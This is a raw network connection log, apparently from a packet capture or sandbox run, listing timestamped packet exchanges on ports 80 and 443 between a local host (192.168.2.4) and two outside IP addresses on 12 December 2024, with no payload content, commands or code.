Dec 12, 2024 14:26:26.911458969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.911509991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.912431002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.912512064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.912576914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.912703991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.913527012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.913583040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.913672924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.913731098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.914609909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.914661884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.914695024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.914740086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.915687084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.915761948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.915848970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.916078091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.916764975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.916809082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.916865110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.917004108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.917829037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.917850018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.917882919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.917989016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.918910027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.918972015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.919054031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.919347048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.919976950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.920038939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.920116901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.920161009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.921262026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.921300888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.921386003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.921386003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.922231913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.922292948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.922619104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.922713041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.923302889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.923342943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.923432112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.923480034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.924318075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.924339056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.924463034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.924463034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.925390005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.925539017 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.925539017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.925683975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.926485062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.926547050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.926701069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.926757097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.927628040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.927727938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.927745104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.927784920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.928742886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.928803921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.928903103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.928946972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.929796934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.929861069 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.929953098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.930006981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.931183100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.931209087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.931260109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.931260109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.932539940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.932657957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.933015108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.933015108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.933938026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.933988094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.934081078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.934122086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.934907913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.934967041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.934997082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.935045004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.935679913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.935764074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.935811996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.935811996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.936610937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.936676025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.936701059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.936796904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.937587976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.937602043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.937638998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.937671900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.938478947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.938529015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.938551903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.938570023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:26.939723015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:26.939784050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.074994087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.075108051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.075284004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.075308084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.075333118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.075333118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.075333118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.075381994 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.076158047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.076229095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.076239109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.076297045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.076911926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.077028990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.077065945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.077148914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.077894926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.078001976 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.078027964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.078073978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.078794003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.078972101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.079077005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.079077005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.079801083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.079941988 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.079976082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.080137014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.080741882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.080883026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.080899000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.081127882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.081638098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.081681967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.081830025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.081895113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.082272053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.082389116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.082411051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.082457066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.083132029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.083306074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.083332062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.083462000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.084239960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.084280968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.084414959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.084459066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.085143089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.085182905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.085762024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.085872889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.086025000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.086039066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.086693048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.086738110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.086738110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.086738110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.086776018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.086828947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.087543011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.087718964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.087762117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.087850094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.088481903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.088609934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.088643074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.088643074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.089399099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.089437962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.089473009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.089678049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.090215921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.090321064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.090444088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.090444088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.091068983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.091175079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.091193914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.091342926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.092103958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.092206001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.092212915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.092297077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.092879057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.092988014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.092998981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.093044996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.093780041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.093822002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.093900919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.093945026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.094688892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.094748020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.094794989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.094839096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.095535994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.095725060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.095732927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.095788002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.096416950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.096569061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.096571922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.097307920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.097311974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.097384930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.097424030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.097476006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.098227024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.098273993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.098318100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.098536968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.099121094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.099176884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.099253893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.099342108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.099987030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.100091934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.100091934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.100146055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.100909948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.100995064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.101017952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.101066113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.101785898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.101831913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.101994038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.102154970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.102785110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.102941036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.102951050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.103015900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.103554964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.103606939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.103619099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.103674889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.104444027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.104638100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.105443001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.105489969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.105490923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.105490923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.105531931 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.105681896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.106199980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.106327057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.106350899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.106383085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.107259035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.107341051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.107364893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.107420921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.108086109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.108194113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.108325005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.108371019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.108968019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.109107018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.109139919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.109186888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.109975100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.110044956 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.110068083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.110102892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.110856056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.110918045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.110932112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.111129045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.111565113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.111648083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.111788988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.111896038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.112540007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.112590075 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.112687111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.112760067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.113334894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.113447905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.113460064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.113501072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.114207029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.114509106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.114676952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.114720106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.115113020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.115155935 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.115233898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.115341902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.116585016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.116740942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.116765022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.117213011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.117979050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.118037939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.118087053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.118258953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.118905067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.118925095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.118952990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.119050980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.119566917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.119616985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.119669914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.119719028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.120650053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.120728970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.120735884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.120893002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.121471882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.121536016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.121572018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.121679068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.122246027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.122287989 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.232912064 CET	49813	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:27.232969046 CET	443	49813	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:27.233129025 CET	49813	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:27.266875029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.266896009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.267050028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.267050028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.267131090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.267225027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.267250061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.267306089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.268063068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.268146038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.268146038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.268343925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.268888950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.268942118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.268968105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.268980026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.269718885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.269787073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.269839048 CET	80	49801	31.41.244.11	192.168.2.4
